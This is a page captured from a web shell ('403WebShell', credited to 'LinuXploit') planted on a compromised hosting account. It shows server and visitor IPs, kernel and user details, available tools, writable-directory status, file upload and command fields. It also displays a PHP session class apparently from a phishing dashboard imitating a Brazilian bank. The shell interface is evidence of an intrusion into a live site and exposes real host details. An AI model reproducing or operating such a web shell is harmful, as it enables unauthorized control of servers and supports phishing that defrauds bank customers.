Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.72.24
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/sacbradescolivelo/_dashboard2021/_classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/sacbradescolivelo/_dashboard2021/_classes/Sessao.php
<?php

class Sessao extends Objeto {

    protected $tabela = "sessoes";

    protected $id;

    protected $token;

    protected $usuario;

    protected $ip;

    protected $data;

    public static function registrarSessao($usuario, $token) {
        
        $sql = "INSERT INTO sessoes (token, usuario, ip, data) VALUES (:token, :usuario, :ip, :data)";
        try {
            $data = date("Y-m-d H-i-s");
            $ip = getIp();
            $conexao = (new Usuario())->getConn();
            $query = $conexao->prepare($sql);
            $query->bindParam(':token', $token);
            $query->bindParam(':usuario', $usuario);
            $query->bindParam(':ip', $ip);
            $query->bindParam(':data', $data);

            $query->execute();
            return $conexao->lastInsertId();
          } catch (\PDOException $e) {
            echo "Erro ao atualizar registro: " . $e->getMessage();
          }
    }

    public static function validarToken($usuario, $token){


      $sql = "SELECT * FROM sessoes where usuario = :usuario AND token = :token";
      try {

          $conexao = (new Usuario())->getConn();
          $query = $conexao->prepare($sql);
          $query->bindParam(':usuario', $usuario);
          $query->bindParam(':token', $token);
          $query->execute(); 
          $resultados = $query->fetchAll();


          return count($resultados) > 0 ? true : false;
        } catch (\PDOException $e) {
          echo "Erro ao atualizar registro: " . $e->getMessage();
        }

    }


    public static function deletar($id){

        $sql = "DELETE FROM sessoes where id = :id";
        try {
  
            $conexao = (new Usuario())->getConn();
            $query = $conexao->prepare($sql);
            $query->bindParam(':id', $id);
            $query->execute(); 
            $resultados = $query->fetchAll();
  
            return $resultados;
          } catch (\PDOException $e) {
            echo "Erro ao atualizar registro: " . $e->getMessage();
          }
  
      }

      public static function buscarTodos(){

        $sql = "SELECT * FROM sessoes order by id desc";
        try {
  
            $conexao = (new Usuario())->getConn();
            $query = $conexao->prepare($sql);
            $query->execute(); 
            $resultados = $query->fetchAll();
  
            return $resultados;
          } catch (\PDOException $e) {
            echo "Erro ao atualizar registro: " . $e->getMessage();
          }
  
      }


}

Youez - 2016 - github.com/yon3zu
LinuXploit